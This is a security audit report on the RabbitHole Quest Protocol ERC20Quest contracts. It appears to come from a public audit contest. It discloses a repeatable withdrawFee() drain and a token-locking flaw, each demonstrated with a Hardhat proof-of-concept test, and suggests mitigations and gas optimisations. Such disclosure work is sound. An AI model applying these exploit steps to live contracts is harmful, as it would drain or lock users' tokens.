RabbitHole Quest Protocol contest - 0xngndev's results

Lines of code

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Erc20Quest.sol#L102 https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Erc20Quest.sol#L96 https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Quest.sol#L76

Vulnerability details

Impact

Once the quest has ended, ERC20Quest#withdrawFee() can be called ad-infinitum always transferring protocolFeeRecipient a fixed amount of tokens on every call. This allows for any remaining tokens in the contract to be sent to the protocolFeeRecipient by any user. This adds a large and unnecessary amount of trust in protocolFeeRecipient, and also adds the ability for any malicious user to cause large inconveniences for the protocolFeeRecipient, the owner, and the participants that didn't claim after the end time was reached--in the cases where protocolFeeRecipient is not malicious. What this entails is the following:

• If owner is not protocolFeeRecipient, anyone can front-run the owner's call to ERC20Quest#withdrawRemainingTokens and call ERC20Quest#withdrawFee() enough times to drain every token from the contract. Then it's up to protocolFeeRecipient's goodwill/ability to transfer back ERC20s to return the tokens. Assuming protocolFeeRecipient is malicious, both the owner and the participants that didn't claim will lose their tokens.
• If owner is protocolFeeRecipient and there are unclaimedTokens in the contract, the owner can drain them--which is not the intended behavior.
• There are other scenarios where a malicious user could also call ERC20Quest#withdrawFee twice, which would lead to a revert for the last participant that wants to claim his receipt as the contract may not have enough funds to perform the transfer. As well a malicious user can repeat this attack if protocolFeeRecipient were to send back the funds to the contract.

Proof of Concept

Here's a hardhat test that can be added to the current ERC20Quest tests showing that this works:

    it('should not allow the protocol to extract the fee multiple times, but it does', async () => {

      await deployedFactoryContract.connect(firstAddress).mintReceipt(questId, messageHash, signature)
        
      await deployedQuestContract.start()
      await ethers.provider.send('evm_increaseTime', [86400])

      // Quest ended, firstAddress forgot to claim. Unclaimed tokens = 1000
      await ethers.provider.send('evm_increaseTime', [100001])

      // Owner withdraws the non-claimable tokens
      await deployedQuestContract.withdrawRemainingTokens(owner.address)

      // We expect the contract to only have the unclaimed tokens from address one + protocol fee
      const unclaimedTokens = 1000

      const protocolFee = (1000 * questFee) / 10000

      expect(await deployedSampleErc20Contract.balanceOf(deployedQuestContract.address)).to.equal(
        unclaimedTokens + protocolFee
      )

      // The admin claims the fee
      await deployedQuestContract.withdrawFee()

      // Only the unclaimed tokens of first address should remain at this point
      expect(await deployedSampleErc20Contract.balanceOf(deployedQuestContract.address)).to.equal(unclaimedTokens)

      // Admin tries to drain the unclaimed tokens through the protocol fee.         
      // ProtocolFee is a constant 200

      // So admin has to perform five calls.
      await deployedQuestContract.withdrawFee()
      await deployedQuestContract.withdrawFee()
      await deployedQuestContract.withdrawFee()
      await deployedQuestContract.withdrawFee()
      await deployedQuestContract.withdrawFee()

      // If he succedeed, balance should be zero.
      expect(await deployedSampleErc20Contract.balanceOf(deployedQuestContract.address)).to.equal(0)
      
      // This passes.
      await ethers.provider.send('evm_increaseTime', [-100001])
      await ethers.provider.send('evm_increaseTime', [-86400])

    })

Tools Used

Hardhat

Recommended Mitigation Steps

Add a state variable that tracks whether protocolFee has been withdrawn or not to ensure it can only be withdrawn once.

Lines of code

https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Quest.sol#L76 https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Erc20Quest.sol#L81 https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Erc20Quest.sol#L96 https://github.com/rabbitholegg/quest-protocol/blob/8c4c1f71221570b14a0479c216583342bd652d8d/contracts/Erc20Quest.sol#L102

Vulnerability details

Impact

The maxProtocolFee is set to be 20% of the maxTotalRewards. This attack requires not reaching the maximum participation--so the maximum that can be locked will depend on the number of receipts redeemed in relation to the total participants, but in the worst cases the number of locked tokens can be close to that maxProtocolFee.

Description

In contests where nonClaimableTokens != 0, a malicious user can lock protocolFee tokens in the contract by calling ERC20#withdrawFee before the owner calls ERC20Quest#WithdrawRemainingTokens.

Proof of Concept

Let's note that ERC20Quest#withdrawFee is only protected by onlyAdminWithdrawAfterEnd modifier which only checks that the current timestamp is lower that the set endTime. It does not check that the caller has any privileges. With that being said, if the maximum amount of receipts for that quest weren't minted, meaning a certain amount of deposited tokens would remain for the owner to withdraw through ERC20Quest#withdrawRemainingTokens, then any malicious user can lock protocolFee tokens by calling ERC20#withdrawFee before the owner calls ERC20Quest#WithdrawRemainingTokens. Here's a simple example scenario:

   totalParticipants = 10
   rewardAmountInWeiOrTokenId = 100
   maxTotalRewards = 1000
   maxProtocolRewards = 200
   startBalance = 1200
   receiptReedemers = 1
   redeemedTokens = 1
   protocolFee = 20
   claimedTokens = 100
   unclaimedTokens = 0
   
   balance after claim = startBalance - claimedTokens = 1100
   malicious actor calls withdrawFee
   balance after withdraw fee = 1080
   
   Owner tries to call withdrawRemainingTokens:
     - unclaimedTokens = 0
     - nonClaimableTokens = balance - protocolFee - unclaimedTokens = 1080 - 20 = 1060.
       
   balance after withdraw = 1080 - 1060 = 20
   If call to withdrawRemaminingTokens:
     - nonClaimableTokens = 20 - 20 - 0 = 0 => 20 tokens are locked.

Here's a hardhat test that can be included in the ERC20Quest test suite:

    it('should not allow lock tokens in the contract, but it does', async () => {
      await deployedFactoryContract.connect(firstAddress).mintReceipt(questId, messageHash, signature)

      await deployedQuestContract.start()
      await ethers.provider.send('evm_increaseTime', [86400])

      // Quest ended
      await ethers.provider.send('evm_increaseTime', [100001])
      
      // User claims
      await deployedQuestContract.connect(firstAddress).claim()

      // malicious user claims the fee
      await deployedQuestContract.connect(firstAddress).withdrawFee()

      // Owner withdraws the non-claimable tokens
      await deployedQuestContract.withdrawRemainingTokens(owner.address)

      // At this point all participants have claimed, the fee has been withdraw and the remaining tokens as well.
      // There should be no balance in the contract
      expect(await deployedSampleErc20Contract.balanceOf(deployedQuestContract.address)).to.equal(0)

      // This expect fails as it still contains 200 tokens.

      await ethers.provider.send('evm_increaseTime', [-100001])
      await ethers.provider.send('evm_increaseTime', [-86400])

    })

Theoretically, RH could save the funds by calling withdrawFee again, as the number of times it can be called is not limited, but I consider this ability to withdraw fees ad-infinitum as a different bug which should not be the expected behavior as it requires unnecessary trust in RH.

Tools Used

Hardhat

Recommended Mitigation Steps

Add a state variable to track whether protocolFee has been withdrawn and use that on ERC20Quest#withdrawRemainingTokens to calculate nonClaimableTokens. If the protocolFee has been withdrawn, then nonClaimableTokens should not take it into account at the time of calculating them.

getRewardAmount and getRewardToken getters are not necessary

Public state variables generate their own getter functions. Both rewardAmountInWeiOrTokenId and rewardToken are public state variables. Therefore the getters are not needed and just add deployment costs. You'll need to add rewardAmountInWeiOrTokenId and rewardToken to the interface.

Quest struct can be packed into 2 slots instead of 4

questAddress takes 20 bytes, this means totalParticipants and numberMinted could fit in 12 bytes. So, the struct could be packed like this:

struct Quest {
	mapping(address => bool) addressMint;
	address questAddress;
	uint48 totalParticipants;
	uint48 numberMinted;
}

uint48s have a capability of 2^48 - 1 = 281474976710655. This means each quest can have a maximum of 281474976710655 participants and a maximum of 281474976710655 receipts minted--which seems enough. This will save two cold SSTOREs over the current implementation as well as SSLOADs.

getOwnedTokenIdsOfQuest can be refactored to make claim() cheaper

The second for loop can be more efficient if we take advantage of the foundTokens variable set up at the beginning of the function in the first for loop. By using it to track the indexes we can ensure the first foundTokens indexes of tokenIdsForQuest are valid tokenIds, which allows us to remove the if in the second loop and reduce iterations by iterating only through foundTokens instead of msgSenderBalance. According to hardhat gas reports this saves about 300 gas per call to claim. It could also be interesting to explore the idea of implementing a claim() function that allows the caller to pass in tokenIds to reduce lookup costs.

    function getOwnedTokenIdsOfQuest(
        string memory questId_,
        address claimingAddress_
    ) public view returns (uint[] memory) {
        uint msgSenderBalance = balanceOf(claimingAddress_);
        uint[] memory tokenIdsForQuest = new uint[](msgSenderBalance);
        uint foundTokens;

        for (uint i = 0; i < msgSenderBalance; ) {
            uint tokenId = tokenOfOwnerByIndex(claimingAddress_, i);
            if (keccak256(bytes(questIdForTokenId[tokenId])) == keccak256(bytes(questId_))) {
                tokenIdsForQuest[foundTokens] = tokenId;
                ++foundTokens;
            }
            unchecked {
                ++i;
            }
        }
        
        uint[] memory filteredTokens = new uint[](foundTokens);
        
        for (uint i = 0; i < foundTokens; ) {
            filteredTokens[i] = tokenIdsForQuest[i];
            unchecked {
                ++i;
            }
        }
        return filteredTokens;

    }